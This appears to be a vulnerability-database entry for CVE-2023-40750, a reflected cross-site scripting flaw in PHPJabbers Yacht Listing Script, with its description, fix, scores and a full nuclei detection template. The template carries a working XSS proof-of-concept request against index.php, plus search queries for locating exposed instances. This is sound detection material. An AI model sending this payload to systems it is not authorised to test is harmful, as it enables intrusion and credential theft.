HexBrain

Browse / CVEs / CVE-2023-40750

CVE-2023-40750· phpjabbers / yacht listing script· CWE-79

PHPJabbers Yacht Listing Script v1.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1%likelihood of exploitation, next 30 days
64%of all CVEs are less likely
Readycheck to confirm it

There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Yacht Listing Script v1.0.

Impact

Unauthenticated attackers can inject malicious JavaScript through the action parameter in index.php to steal yacht listing administrator credentials and manipulate boat listings.

Fix

Update PHPJabbers Yacht Listing Script to a version newer than 1.0 that properly sanitizes the action parameter in index.php.

How to confirm it

Send: POST {{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E
Positive when: contains "<img src=x onerror=prompt(document.domain)>" and "didn't exists" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-40750 -u <target>

The full check
id: CVE-2023-40750

info:
  name: PHPJabbers Yacht Listing Script v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the "action" parameter of index.php in PHPJabbers Yacht Listing Script v1.0.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the action parameter in index.php to steal yacht listing administrator credentials and manipulate boat listings.
  remediation: |
    Update PHPJabbers Yacht Listing Script to a version newer than 1.0 that properly sanitizes the action parameter in index.php.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40750
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40750
    cwe-id: CWE-79
    epss-score: 0.01034
    epss-percentile: 0.64121
    cpe: cpe:2.3:a:phpjabbers:yacht_listing_script:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: yacht_listing_script
  tags: cve,cve2023,phpjabbers,yacht-listing,xss,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?controller=pjAdmin&action=%3Cimg+src%3Dx+onerror%3Dprompt%28document.domain%29%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=prompt(document.domain)>"
          - "didn't exists"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from